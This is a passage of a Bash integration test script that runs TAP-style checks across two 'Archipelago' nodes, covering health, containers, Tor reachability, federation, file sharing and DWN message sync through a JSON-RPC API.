curl -s -D- -o/dev/null -X POST \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"method":"auth.login","params":{"password":"password123"}}' \
|
||||
"http://${host}:5678/rpc/v1" 2>/dev/null | \
|
||||
grep -i "set-cookie" | tr '\r' '\n'
|
||||
}
|
||||
|
||||
rpc_call() {
|
||||
local host="$1"
|
||||
local method="$2"
|
||||
local session="$3"
|
||||
local csrf="$4"
|
||||
curl -s -X POST \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Cookie: session=${session}; csrf_token=${csrf}" \
|
||||
-H "X-CSRF-Token: ${csrf}" \
|
||||
-d "{\"method\":\"${method}\"}" \
|
||||
"http://${host}:5678/rpc/v1" 2>/dev/null
|
||||
}
|
||||
|
||||
echo "TAP version 13"
|
||||
echo "# Archipelago Cross-Node Test Suite"
|
||||
echo "# Nodes: ${NODE_A} (A) ↔ ${NODE_B} (B)"
|
||||
echo "# Iterations: ${ITERATIONS}"
|
||||
echo "# Started: $(date -u +%Y-%m-%dT%H:%M:%SZ)"
|
||||
echo ""
|
||||
|
||||
# ═══════════════════════════════════════════════════════════════════════════
|
||||
# US-01: System Health
|
||||
# ═══════════════════════════════════════════════════════════════════════════
|
||||
echo "# --- US-01: System Health ---"
|
||||
|
||||
for node in "$NODE_A" "$NODE_B"; do
|
||||
node_label=$([[ "$node" == "$NODE_A" ]] && echo "A(.228)" || echo "B(.198)")
|
||||
for i in $(seq 1 "$ITERATIONS"); do
|
||||
# Check 1: Health endpoint
|
||||
result=$(curl -s --connect-timeout 5 "http://${node}:5678/health" 2>/dev/null || echo "FAIL")
|
||||
if [[ "$result" == "OK" ]]; then
|
||||
tap_ok "US01-${node_label}-health-${i}"
|
||||
else
|
||||
tap_fail "US01-${node_label}-health-${i}" "Expected OK, got: ${result}"
|
||||
fi
|
||||
|
||||
# Check 2: Services active
|
||||
svc_status=$(ssh_sudo "$node" "systemctl is-active archipelago nginx" 2>/dev/null | tr '\n' ' ')
|
||||
if echo "$svc_status" | grep -q "active active"; then
|
||||
tap_ok "US01-${node_label}-services-${i}"
|
||||
else
|
||||
tap_fail "US01-${node_label}-services-${i}" "Services: ${svc_status}"
|
||||
fi
|
||||
|
||||
# Check 3: Memory available > 500MB (relaxed from 1GB given tight memory)
|
||||
avail_kb=$(ssh_cmd "$node" "grep MemAvailable /proc/meminfo | awk '{print \$2}'" 2>/dev/null)
|
||||
if [[ -n "$avail_kb" ]] && [[ "$avail_kb" -gt 512000 ]]; then
|
||||
tap_ok "US01-${node_label}-memory-${i} # available=${avail_kb}KB"
|
||||
else
|
||||
tap_fail "US01-${node_label}-memory-${i}" "Available: ${avail_kb:-unknown}KB (need >512000)"
|
||||
fi
|
||||
|
||||
# Check 4: Load average < 2x cores
|
||||
cores=$(ssh_cmd "$node" "nproc" 2>/dev/null || echo "4")
|
||||
load_1m=$(ssh_cmd "$node" "awk '{print \$1}' /proc/loadavg" 2>/dev/null)
|
||||
max_load=$((cores * 2))
|
||||
load_int=${load_1m%%.*}
|
||||
if [[ -n "$load_int" ]] && [[ "$load_int" -lt "$max_load" ]]; then
|
||||
tap_ok "US01-${node_label}-load-${i} # load=${load_1m}, cores=${cores}"
|
||||
else
|
||||
tap_fail "US01-${node_label}-load-${i}" "Load ${load_1m} >= ${max_load} (${cores} cores x 2)"
|
||||
fi
|
||||
|
||||
# Check 5: Disk usage < 85%
|
||||
disk_pct=$(ssh_cmd "$node" "df / --output=pcent | tail -1 | tr -d ' %'" 2>/dev/null)
|
||||
if [[ -n "$disk_pct" ]] && [[ "$disk_pct" -lt 85 ]]; then
|
||||
tap_ok "US01-${node_label}-disk-${i} # ${disk_pct}%"
|
||||
else
|
||||
tap_fail "US01-${node_label}-disk-${i}" "Disk at ${disk_pct:-unknown}%"
|
||||
fi
|
||||
|
||||
# Check 6: Zero exited containers
|
||||
exited=$(ssh_sudo "$node" "podman ps -a --format '{{.State}}' | grep -c -i exited" 2>/dev/null || echo "0")
|
||||
exited=$(echo "$exited" | tail -1 | tr -d '[:space:]')
|
||||
if [[ "$exited" == "0" ]]; then
|
||||
tap_ok "US01-${node_label}-containers-${i}"
|
||||
else
|
||||
tap_fail "US01-${node_label}-containers-${i}" "${exited} exited containers"
|
||||
fi
|
||||
done
|
||||
done
|
||||
|
||||
# ═══════════════════════════════════════════════════════════════════════════
|
||||
# US-02: Container Lifecycle
|
||||
# ═══════════════════════════════════════════════════════════════════════════
|
||||
echo ""
|
||||
echo "# --- US-02: Container Lifecycle ---"
|
||||
|
||||
for node in "$NODE_A" "$NODE_B"; do
|
||||
node_label=$([[ "$node" == "$NODE_A" ]] && echo "A(.228)" || echo "B(.198)")
|
||||
for i in $(seq 1 "$ITERATIONS"); do
|
||||
# Check 1: All containers running (none exited)
|
||||
exited=$(ssh_sudo "$node" "podman ps -a --format '{{.State}}' | grep -c -i exited" 2>/dev/null || echo "0")
|
||||
exited=$(echo "$exited" | tail -1 | tr -d '[:space:]')
|
||||
if [[ "$exited" == "0" ]]; then
|
||||
tap_ok "US02-${node_label}-all-running-${i}"
|
||||
else
|
||||
tap_fail "US02-${node_label}-all-running-${i}" "${exited} exited containers"
|
||||
fi
|
||||
|
||||
# Check 2: Container count matches expectations (>= 20)
|
||||
count=$(ssh_sudo "$node" "podman ps --format '{{.Names}}' | wc -l" 2>/dev/null | tail -1 | tr -d '[:space:]')
|
||||
if [[ -n "$count" ]] && [[ "$count" -ge 20 ]]; then
|
||||
tap_ok "US02-${node_label}-container-count-${i} # count=${count}"
|
||||
else
|
||||
tap_fail "US02-${node_label}-container-count-${i}" "Only ${count:-0} containers running (need >=20)"
|
||||
fi
|
||||
|
||||
# Check 3: Health monitor auto-restart (stop filebrowser, wait, verify it restarts)
|
||||
# Only run this on first iteration to avoid disruption
|
||||
if [[ "$i" -eq 1 ]]; then
|
||||
# Stop filebrowser
|
||||
ssh_sudo "$node" "podman stop filebrowser" 2>/dev/null || true
|
||||
echo "# Stopped filebrowser on ${node_label}, waiting for health monitor to restart..."
|
||||
|
||||
# Wait up to 90s for health monitor to restart it
|
||||
restarted=false
|
||||
for wait_i in $(seq 1 18); do
|
||||
sleep 5
|
||||
fb_state=$(ssh_sudo "$node" "podman inspect filebrowser --format '{{.State.Status}}'" 2>/dev/null | tail -1 | tr -d '[:space:]')
|
||||
if [[ "$fb_state" == "running" ]]; then
|
||||
restarted=true
|
||||
break
|
||||
fi
|
||||
done
|
||||
|
||||
if [[ "$restarted" == "true" ]]; then
|
||||
tap_ok "US02-${node_label}-health-restart-${i} # filebrowser restarted in $((wait_i * 5))s"
|
||||
else
|
||||
tap_fail "US02-${node_label}-health-restart-${i}" "filebrowser not restarted after 90s"
|
||||
# Manually restart to not leave it broken
|
||||
ssh_sudo "$node" "podman start filebrowser" 2>/dev/null || true
|
||||
fi
|
||||
else
|
||||
# For subsequent iterations, just verify filebrowser is running
|
||||
fb_state=$(ssh_sudo "$node" "podman inspect filebrowser --format '{{.State.Status}}'" 2>/dev/null | tail -1 | tr -d '[:space:]')
|
||||
if [[ "$fb_state" == "running" ]]; then
|
||||
tap_ok "US02-${node_label}-filebrowser-running-${i}"
|
||||
else
|
||||
tap_fail "US02-${node_label}-filebrowser-running-${i}" "filebrowser state: ${fb_state:-unknown}"
|
||||
fi
|
||||
fi
|
||||
done
|
||||
done
|
||||
|
||||
# ═══════════════════════════════════════════════════════════════════════════
|
||||
# US-05: Tor Hidden Services
|
||||
# ═══════════════════════════════════════════════════════════════════════════
|
||||
echo ""
|
||||
echo "# --- US-05: Tor Hidden Services ---"
|
||||
|
||||
# Get onion addresses
|
||||
ONION_A=$(ssh_sudo "$NODE_A" "cat /var/lib/archipelago/tor/hidden_service_archipelago/hostname" 2>/dev/null | tail -1)
|
||||
ONION_B=$(ssh_sudo "$NODE_B" "cat /var/lib/tor/hidden_service_archipelago/hostname" 2>/dev/null | tail -1)
|
||||
|
||||
echo "# Node A onion: ${ONION_A:-unknown}"
|
||||
echo "# Node B onion: ${ONION_B:-unknown}"
|
||||
|
||||
for i in $(seq 1 "$ITERATIONS"); do
|
||||
# Test: .228 can reach .198 via Tor
|
||||
if [[ -n "$ONION_B" ]]; then
|
||||
tor_result=$(ssh_cmd "$NODE_A" "curl --socks5-hostname 127.0.0.1:9050 -s --connect-timeout 30 http://${ONION_B}/health" 2>/dev/null || echo "FAIL")
|
||||
if [[ "$tor_result" == "OK" ]]; then
|
||||
tap_ok "US05-A→B-tor-${i}"
|
||||
else
|
||||
tap_fail "US05-A→B-tor-${i}" "Got: ${tor_result}"
|
||||
fi
|
||||
else
|
||||
tap_fail "US05-A→B-tor-${i}" "No onion address for B"
|
||||
fi
|
||||
|
||||
# Test: .198 can reach .228 via Tor
|
||||
if [[ -n "$ONION_A" ]]; then
|
||||
tor_result=$(ssh_cmd "$NODE_B" "curl --socks5-hostname 127.0.0.1:9050 -s --connect-timeout 30 http://${ONION_A}/health" 2>/dev/null || echo "FAIL")
|
||||
if [[ "$tor_result" == "OK" ]]; then
|
||||
tap_ok "US05-B→A-tor-${i}"
|
||||
else
|
||||
tap_fail "US05-B→A-tor-${i}" "Got: ${tor_result}"
|
||||
fi
|
||||
else
|
||||
tap_fail "US05-B→A-tor-${i}" "No onion address for A"
|
||||
fi
|
||||
done
|
||||
|
||||
# ═══════════════════════════════════════════════════════════════════════════
|
||||
# US-03: Federation Join (verify existing federation)
|
||||
# ═══════════════════════════════════════════════════════════════════════════
|
||||
echo ""
|
||||
echo "# --- US-03: Federation Join ---"
|
||||
|
||||
for node in "$NODE_A" "$NODE_B"; do
|
||||
node_label=$([[ "$node" == "$NODE_A" ]] && echo "A(.228)" || echo "B(.198)")
|
||||
|
||||
# Get session for RPC calls
|
||||
session_header=$(get_session "$node")
|
||||
session_val=$(echo "$session_header" | sed -n 's/.*session=\([^;]*\).*/\1/p')
|
||||
csrf_val=$(echo "$session_header" | sed -n 's/.*csrf_token=\([^;]*\).*/\1/p')
|
||||
|
||||
for i in $(seq 1 "$ITERATIONS"); do
|
||||
# Call federation.list-nodes
|
||||
fed_result=$(rpc_call "$node" "federation.list-nodes" "$session_val" "$csrf_val")
|
||||
|
||||
# Check 1: At least 1 peer present
|
||||
peer_count=$(echo "$fed_result" | python3 -c "import sys,json; d=json.load(sys.stdin); print(len(d.get('result',{}).get('nodes',[])))" 2>/dev/null || echo "0")
|
||||
if [[ "$peer_count" -ge 1 ]]; then
|
||||
tap_ok "US03-${node_label}-peers-present-${i} # count=${peer_count}"
|
||||
else
|
||||
tap_fail "US03-${node_label}-peers-present-${i}" "No federation peers found"
|
||||
fi
|
||||
|
||||
# Check 2: Trust level is 'trusted'
|
||||
trust=$(echo "$fed_result" | python3 -c "import sys,json; d=json.load(sys.stdin); nodes=d.get('result',{}).get('nodes',[]); print(nodes[0].get('trust_level','') if nodes else '')" 2>/dev/null || echo "")
|
||||
if [[ "$trust" == "trusted" ]]; then
|
||||
tap_ok "US03-${node_label}-trust-level-${i}"
|
||||
else
|
||||
tap_fail "US03-${node_label}-trust-level-${i}" "Trust level: ${trust:-unknown}"
|
||||
fi
|
||||
|
||||
# Check 3: DID present
|
||||
did=$(echo "$fed_result" | python3 -c "import sys,json; d=json.load(sys.stdin); nodes=d.get('result',{}).get('nodes',[]); print(nodes[0].get('did','') if nodes else '')" 2>/dev/null || echo "")
|
||||
if [[ -n "$did" ]] && [[ "$did" == did:* ]]; then
|
||||
tap_ok "US03-${node_label}-did-present-${i}"
|
||||
else
|
||||
tap_fail "US03-${node_label}-did-present-${i}" "DID: ${did:-missing}"
|
||||
fi
|
||||
|
||||
# Check 4: last_seen within 10 minutes
|
||||
last_seen=$(echo "$fed_result" | python3 -c "
|
||||
import sys,json
|
||||
from datetime import datetime, timezone, timedelta
|
||||
d=json.load(sys.stdin)
|
||||
nodes=d.get('result',{}).get('nodes',[])
|
||||
if not nodes: print('missing'); sys.exit()
|
||||
ls = nodes[0].get('last_seen','')
|
||||
if not ls: print('never'); sys.exit()
|
||||
try:
|
||||
dt = datetime.fromisoformat(ls.replace('Z','+00:00'))
|
||||
diff = datetime.now(timezone.utc) - dt
|
||||
print('ok' if diff < timedelta(minutes=10) else f'stale:{diff}')
|
||||
except: print('parse_error')
|
||||
" 2>/dev/null || echo "error")
|
||||
if [[ "$last_seen" == "ok" ]]; then
|
||||
tap_ok "US03-${node_label}-last-seen-${i}"
|
||||
else
|
||||
tap_fail "US03-${node_label}-last-seen-${i}" "last_seen: ${last_seen}"
|
||||
fi
|
||||
done
|
||||
done
|
||||
|
||||
# ═══════════════════════════════════════════════════════════════════════════
|
||||
# US-04: Federation Sync
|
||||
# ═══════════════════════════════════════════════════════════════════════════
|
||||
echo ""
|
||||
echo "# --- US-04: Federation Sync ---"
|
||||
|
||||
for node in "$NODE_A" "$NODE_B"; do
|
||||
node_label=$([[ "$node" == "$NODE_A" ]] && echo "A(.228)" || echo "B(.198)")
|
||||
|
||||
session_header=$(get_session "$node")
|
||||
session_val=$(echo "$session_header" | sed -n 's/.*session=\([^;]*\).*/\1/p')
|
||||
csrf_val=$(echo "$session_header" | sed -n 's/.*csrf_token=\([^;]*\).*/\1/p')
|
||||
|
||||
for i in $(seq 1 "$ITERATIONS"); do
|
||||
# Trigger sync
|
||||
sync_result=$(curl -s -X POST \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Cookie: session=${session_val}; csrf_token=${csrf_val}" \
|
||||
-H "X-CSRF-Token: ${csrf_val}" \
|
||||
-d '{"method":"federation.sync-state"}' \
|
||||
"http://${node}:5678/rpc/v1" 2>/dev/null)
|
||||
|
||||
# Check 1: Sync returns results
|
||||
has_results=$(echo "$sync_result" | python3 -c "import sys,json; d=json.load(sys.stdin); r=d.get('result',{}); print('ok' if r and 'results' in r else 'no')" 2>/dev/null || echo "error")
|
||||
if [[ "$has_results" == "ok" ]]; then
|
||||
tap_ok "US04-${node_label}-sync-returns-${i}"
|
||||
else
|
||||
tap_fail "US04-${node_label}-sync-returns-${i}" "No sync results"
|
||||
fi
|
||||
|
||||
# Check 2: At least one sync target succeeded
|
||||
sync_ok=$(echo "$sync_result" | python3 -c "import sys,json; d=json.load(sys.stdin); results=d.get('result',{}).get('results',[]); ok=[r for r in results if r.get('status')=='ok']; print(len(ok))" 2>/dev/null || echo "0")
|
||||
if [[ "$sync_ok" -ge 1 ]]; then
|
||||
tap_ok "US04-${node_label}-sync-success-${i} # ok=${sync_ok}"
|
||||
else
|
||||
tap_fail "US04-${node_label}-sync-success-${i}" "No successful syncs"
|
||||
fi
|
||||
|
||||
# Check 3: Synced node has apps list
|
||||
apps_count=$(echo "$sync_result" | python3 -c "import sys,json; d=json.load(sys.stdin); results=d.get('result',{}).get('results',[]); ok=[r for r in results if r.get('status')=='ok']; print(ok[0].get('apps',0) if ok else 0)" 2>/dev/null || echo "0")
|
||||
if [[ "$apps_count" -gt 0 ]]; then
|
||||
tap_ok "US04-${node_label}-sync-apps-${i} # apps=${apps_count}"
|
||||
else
|
||||
tap_fail "US04-${node_label}-sync-apps-${i}" "Synced app count: ${apps_count}"
|
||||
fi
|
||||
|
||||
# Check 4: last_seen updated after sync (re-check federation list)
|
||||
fed_after=$(rpc_call "$node" "federation.list-nodes" "$session_val" "$csrf_val")
|
||||
ls_fresh=$(echo "$fed_after" | python3 -c "
|
||||
import sys,json
|
||||
from datetime import datetime, timezone, timedelta
|
||||
d=json.load(sys.stdin)
|
||||
nodes=d.get('result',{}).get('nodes',[])
|
||||
if not nodes: print('missing'); sys.exit()
|
||||
ls = nodes[0].get('last_seen','')
|
||||
if not ls: print('never'); sys.exit()
|
||||
try:
|
||||
dt = datetime.fromisoformat(ls.replace('Z','+00:00'))
|
||||
diff = datetime.now(timezone.utc) - dt
|
||||
print('ok' if diff < timedelta(minutes=2) else f'stale:{diff}')
|
||||
except: print('parse_error')
|
||||
" 2>/dev/null || echo "error")
|
||||
if [[ "$ls_fresh" == "ok" ]]; then
|
||||
tap_ok "US04-${node_label}-last-seen-fresh-${i}"
|
||||
else
|
||||
tap_fail "US04-${node_label}-last-seen-fresh-${i}" "last_seen after sync: ${ls_fresh}"
|
||||
fi
|
||||
done
|
||||
done
|
||||
|
||||
# ═══════════════════════════════════════════════════════════════════════════
|
||||
# US-07: File Sharing
|
||||
# ═══════════════════════════════════════════════════════════════════════════
|
||||
echo ""
|
||||
echo "# --- US-07: File Sharing ---"
|
||||
|
||||
# Create a test file on both nodes for sharing (use bash -c to keep entire command under sudo)
|
||||
ssh_sudo "$NODE_A" "bash -c 'mkdir -p /var/lib/archipelago/content/files && echo test-content-from-228 > /var/lib/archipelago/content/files/test-share.txt && chown -R archipelago:archipelago /var/lib/archipelago/content'" 2>/dev/null || true
|
||||
ssh_sudo "$NODE_B" "bash -c 'mkdir -p /var/lib/archipelago/content/files && echo test-content-from-198 > /var/lib/archipelago/content/files/test-share-b.txt && chown -R archipelago:archipelago /var/lib/archipelago/content'" 2>/dev/null || true
|
||||
|
||||
for i in $(seq 1 "$ITERATIONS"); do
|
||||
# --- .228 shares content, .198 browses ---
|
||||
# Get .228 auth
|
||||
session_header_a=$(get_session "$NODE_A")
|
||||
session_a=$(echo "$session_header_a" | sed -n 's/.*session=\([^;]*\).*/\1/p')
|
||||
csrf_a=$(echo "$session_header_a" | sed -n 's/.*csrf_token=\([^;]*\).*/\1/p')
|
||||
|
||||
# Add content on .228
|
||||
add_result=$(curl -s -X POST \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Cookie: session=${session_a}; csrf_token=${csrf_a}" \
|
||||
-H "X-CSRF-Token: ${csrf_a}" \
|
||||
-d '{"method":"content.add","params":{"filename":"test-share.txt","mime_type":"text/plain","description":"Test share from 228"}}' \
|
||||
"http://${NODE_A}:5678/rpc/v1" 2>/dev/null)
|
||||
has_item=$(echo "$add_result" | python3 -c "import sys,json; d=json.load(sys.stdin); print('ok' if d.get('result',{}).get('item') else 'no')" 2>/dev/null || echo "error")
|
||||
if [[ "$has_item" == "ok" ]]; then
|
||||
tap_ok "US07-A-content-add-${i}"
|
||||
else
|
||||
tap_fail "US07-A-content-add-${i}" "content.add failed: ${add_result:0:80}"
|
||||
fi
|
||||
|
||||
# List content on .228
|
||||
list_result=$(curl -s -X POST \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Cookie: session=${session_a}; csrf_token=${csrf_a}" \
|
||||
-H "X-CSRF-Token: ${csrf_a}" \
|
||||
-d '{"method":"content.list-mine"}' \
|
||||
"http://${NODE_A}:5678/rpc/v1" 2>/dev/null)
|
||||
item_count=$(echo "$list_result" | python3 -c "import sys,json; d=json.load(sys.stdin); print(len(d.get('result',{}).get('items',[])))" 2>/dev/null || echo "0")
|
||||
if [[ "$item_count" -gt 0 ]]; then
|
||||
tap_ok "US07-A-content-listed-${i} # items=${item_count}"
|
||||
else
|
||||
tap_fail "US07-A-content-listed-${i}" "No items in catalog"
|
||||
fi
|
||||
|
||||
# Browse .228's catalog from .198 over Tor
|
||||
session_header_b=$(get_session "$NODE_B")
|
||||
session_b=$(echo "$session_header_b" | sed -n 's/.*session=\([^;]*\).*/\1/p')
|
||||
csrf_b=$(echo "$session_header_b" | sed -n 's/.*csrf_token=\([^;]*\).*/\1/p')
|
||||
|
||||
browse_result=$(curl -s --max-time 45 -X POST \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Cookie: session=${session_b}; csrf_token=${csrf_b}" \
|
||||
-H "X-CSRF-Token: ${csrf_b}" \
|
||||
-d "{\"method\":\"content.browse-peer\",\"params\":{\"onion\":\"${ONION_A}\"}}" \
|
||||
"http://${NODE_B}:5678/rpc/v1" 2>/dev/null)
|
||||
peer_items=$(echo "$browse_result" | python3 -c "import sys,json; d=json.load(sys.stdin); r=d.get('result',{}); items=r.get('items',[]); print(len(items))" 2>/dev/null || echo "0")
|
||||
if [[ "$peer_items" -gt 0 ]]; then
|
||||
tap_ok "US07-B-browse-A-${i} # items=${peer_items}"
|
||||
else
|
||||
tap_fail "US07-B-browse-A-${i}" "Could not browse .228 catalog: ${browse_result:0:80}"
|
||||
fi
|
||||
|
||||
# --- Reverse: .198 shares, .228 browses ---
|
||||
add_result_b=$(curl -s -X POST \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Cookie: session=${session_b}; csrf_token=${csrf_b}" \
|
||||
-H "X-CSRF-Token: ${csrf_b}" \
|
||||
-d '{"method":"content.add","params":{"filename":"test-share-b.txt","mime_type":"text/plain","description":"Test share from 198"}}' \
|
||||
"http://${NODE_B}:5678/rpc/v1" 2>/dev/null)
|
||||
has_item_b=$(echo "$add_result_b" | python3 -c "import sys,json; d=json.load(sys.stdin); print('ok' if d.get('result',{}).get('item') else 'no')" 2>/dev/null || echo "error")
|
||||
if [[ "$has_item_b" == "ok" ]]; then
|
||||
tap_ok "US07-B-content-add-${i}"
|
||||
else
|
||||
tap_fail "US07-B-content-add-${i}" "content.add failed on .198"
|
||||
fi
|
||||
|
||||
# Browse .198's catalog from .228 over Tor
|
||||
browse_result_a=$(curl -s --max-time 45 -X POST \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Cookie: session=${session_a}; csrf_token=${csrf_a}" \
|
||||
-H "X-CSRF-Token: ${csrf_a}" \
|
||||
-d "{\"method\":\"content.browse-peer\",\"params\":{\"onion\":\"${ONION_B}\"}}" \
|
||||
"http://${NODE_A}:5678/rpc/v1" 2>/dev/null)
|
||||
peer_items_a=$(echo "$browse_result_a" | python3 -c "import sys,json; d=json.load(sys.stdin); r=d.get('result',{}); items=r.get('items',[]); print(len(items))" 2>/dev/null || echo "0")
|
||||
if [[ "$peer_items_a" -gt 0 ]]; then
|
||||
tap_ok "US07-A-browse-B-${i} # items=${peer_items_a}"
|
||||
else
|
||||
tap_fail "US07-A-browse-B-${i}" "Could not browse .198 catalog: ${browse_result_a:0:80}"
|
||||
fi
|
||||
done
|
||||
|
||||
# Clean up test content entries (remove duplicates)
|
||||
for node in "$NODE_A" "$NODE_B"; do
|
||||
session_header=$(get_session "$node")
|
||||
sv=$(echo "$session_header" | sed -n 's/.*session=\([^;]*\).*/\1/p')
|
||||
cv=$(echo "$session_header" | sed -n 's/.*csrf_token=\([^;]*\).*/\1/p')
|
||||
# Get all items and remove test ones
|
||||
items_json=$(curl -s -X POST \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Cookie: session=${sv}; csrf_token=${cv}" \
|
||||
-H "X-CSRF-Token: ${cv}" \
|
||||
-d '{"method":"content.list-mine"}' \
|
||||
"http://${node}:5678/rpc/v1" 2>/dev/null)
|
||||
echo "$items_json" | python3 -c "
|
||||
import sys,json
|
||||
d=json.load(sys.stdin)
|
||||
items=d.get('result',{}).get('items',[])
|
||||
test_items=[i['id'] for i in items if 'test-share' in i.get('filename','')]
|
||||
for tid in test_items:
|
||||
print(tid)
|
||||
" 2>/dev/null | while read -r tid; do
|
||||
curl -s -X POST \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Cookie: session=${sv}; csrf_token=${cv}" \
|
||||
-H "X-CSRF-Token: ${cv}" \
|
||||
-d "{\"method\":\"content.remove\",\"params\":{\"id\":\"${tid}\"}}" \
|
||||
"http://${node}:5678/rpc/v1" >/dev/null 2>&1
|
||||
done
|
||||
done
|
||||
|
||||
# ═══════════════════════════════════════════════════════════════════════════
|
||||
# US-08: DWN Sync
|
||||
# ═══════════════════════════════════════════════════════════════════════════
|
||||
echo ""
|
||||
echo "# --- US-08: DWN Sync ---"
|
||||
|
||||
TEST_PROTOCOL="https://archipelago.test/cross-node-$(date +%s)"
|
||||
|
||||
# Helper: trigger sync and wait for completion (polls dwn.status)
|
||||
trigger_sync_and_wait() {
|
||||
local host="$1" session="$2" csrf="$3" max_wait="${4:-120}"
|
||||
|
||||
# Trigger sync (returns immediately with "syncing")
|
||||
curl -s --max-time 10 -X POST \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Cookie: session=${session}; csrf_token=${csrf}" \
|
||||
-H "X-CSRF-Token: ${csrf}" \
|
||||
-d '{"method":"dwn.sync"}' \
|
||||
"http://${host}:5678/rpc/v1" >/dev/null 2>&1
|
||||
|
||||
# Poll until sync completes or times out
|
||||
local elapsed=0
|
||||
while [[ $elapsed -lt $max_wait ]]; do
|
||||
sleep 5
|
||||
elapsed=$((elapsed + 5))
|
||||
local status_result
|
||||
status_result=$(curl -s --max-time 5 -X POST \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Cookie: session=${session}; csrf_token=${csrf}" \
|
||||
-H "X-CSRF-Token: ${csrf}" \
|
||||
-d '{"method":"dwn.status"}' \
|
||||
"http://${host}:5678/rpc/v1" 2>/dev/null)
|
||||
local sync_st
|
||||
sync_st=$(echo "$status_result" | python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('result',{}).get('sync_status','unknown'))" 2>/dev/null || echo "unknown")
|
||||
if [[ "$sync_st" != "syncing" ]]; then
|
||||
echo "$sync_st"
|
||||
return 0
|
||||
fi
|
||||
done
|
||||
echo "timeout"
|
||||
return 1
|
||||
}
|
||||
|
||||
for i in $(seq 1 "$ITERATIONS"); do
|
||||
# Get auth for both nodes
|
||||
session_header_a=$(get_session "$NODE_A")
|
||||
session_a=$(echo "$session_header_a" | sed -n 's/.*session=\([^;]*\).*/\1/p')
|
||||
csrf_a=$(echo "$session_header_a" | sed -n 's/.*csrf_token=\([^;]*\).*/\1/p')
|
||||
|
||||
session_header_b=$(get_session "$NODE_B")
|
||||
session_b=$(echo "$session_header_b" | sed -n 's/.*session=\([^;]*\).*/\1/p')
|
||||
csrf_b=$(echo "$session_header_b" | sed -n 's/.*csrf_token=\([^;]*\).*/\1/p')
|
||||
|
||||
iter_protocol="${TEST_PROTOCOL}-${i}"
|
||||
|
||||
# Check 1: Register protocol on .228
|
||||
reg_result=$(curl -s -X POST \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Cookie: session=${session_a}; csrf_token=${csrf_a}" \
|
||||
-H "X-CSRF-Token: ${csrf_a}" \
|
||||
-d "{\"method\":\"dwn.register-protocol\",\"params\":{\"protocol\":\"${iter_protocol}\",\"published\":true}}" \
|
||||
"http://${NODE_A}:5678/rpc/v1" 2>/dev/null)
|
||||
reg_ok=$(echo "$reg_result" | python3 -c "import sys,json; d=json.load(sys.stdin); print('ok' if d.get('result',{}).get('registered') else 'no')" 2>/dev/null || echo "error")
|
||||
if [[ "$reg_ok" == "ok" ]]; then
|
||||
tap_ok "US08-A-register-protocol-${i}"
|
||||
else
|
||||
tap_fail "US08-A-register-protocol-${i}" "register failed: ${reg_result:0:80}"
|
||||
fi
|
||||
|
||||
# Check 2: Write 3 messages on .228
|
||||
write_ok=0
|
||||
for msg_i in 1 2 3; do
|
||||
w_result=$(curl -s -X POST \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Cookie: session=${session_a}; csrf_token=${csrf_a}" \
|
||||
-H "X-CSRF-Token: ${csrf_a}" \
|
||||
-d "{\"method\":\"dwn.write-message\",\"params\":{\"author\":\"did:key:test228\",\"protocol\":\"${iter_protocol}\",\"schema\":\"test/msg\",\"dataFormat\":\"application/json\",\"data\":{\"seq\":${msg_i},\"iter\":${i}}}}" \
|
||||
"http://${NODE_A}:5678/rpc/v1" 2>/dev/null)
|
||||
written=$(echo "$w_result" | python3 -c "import sys,json; d=json.load(sys.stdin); print('ok' if d.get('result',{}).get('written') else 'no')" 2>/dev/null || echo "error")
|
||||
[[ "$written" == "ok" ]] && write_ok=$((write_ok + 1))
|
||||
done
|
||||
if [[ "$write_ok" -eq 3 ]]; then
|
||||
tap_ok "US08-A-write-messages-${i} # wrote=3"
|
||||
else
|
||||
tap_fail "US08-A-write-messages-${i}" "Only ${write_ok}/3 messages written"
|
||||
fi
|
||||
|
||||
# Check 3: Trigger DWN sync on .228 and wait for completion
|
||||
sync_status=$(trigger_sync_and_wait "$NODE_A" "$session_a" "$csrf_a" 120)
|
||||
if [[ "$sync_status" == "synced" || "$sync_status" == "idle" ]]; then
|
||||
tap_ok "US08-A-sync-${i}"
|
||||
else
|
||||
tap_fail "US08-A-sync-${i}" "sync status: ${sync_status}"
|
||||
fi
|
||||
|
||||
# Trigger sync on .198 to pull messages and wait
|
||||
trigger_sync_and_wait "$NODE_B" "$session_b" "$csrf_b" 120 >/dev/null 2>&1
|
||||
|
||||
# Check 4: Query messages on .198 — should have the 3 from .228
|
||||
query_result=$(curl -s -X POST \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Cookie: session=${session_b}; csrf_token=${csrf_b}" \
|
||||
-H "X-CSRF-Token: ${csrf_b}" \
|
||||
-d "{\"method\":\"dwn.query-messages\",\"params\":{\"protocol\":\"${iter_protocol}\"}}" \
|
||||
"http://${NODE_B}:5678/rpc/v1" 2>/dev/null)
|
||||
msg_count=$(echo "$query_result" | python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('result',{}).get('count',0))" 2>/dev/null || echo "0")
|
||||
if [[ "$msg_count" -ge 3 ]]; then
|
||||
tap_ok "US08-B-received-messages-${i} # count=${msg_count}"
|
||||
else
|
||||
tap_fail "US08-B-received-messages-${i}" "Only ${msg_count}/3 messages synced to .198"
|
||||
fi
|
||||
|
||||
# Check 5: Write on .198, sync, verify on .228 (reverse direction)
|
||||
curl -s -X POST \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Cookie: session=${session_b}; csrf_token=${csrf_b}" \
|
||||
-H "X-CSRF-Token: ${csrf_b}" \
|
||||
-d "{\"method\":\"dwn.write-message\",\"params\":{\"author\":\"did:key:test198\",\"protocol\":\"${iter_protocol}\",\"schema\":\"test/msg\",\"dataFormat\":\"application/json\",\"data\":{\"from\":\"198\",\"iter\":${i}}}}" \
|
||||
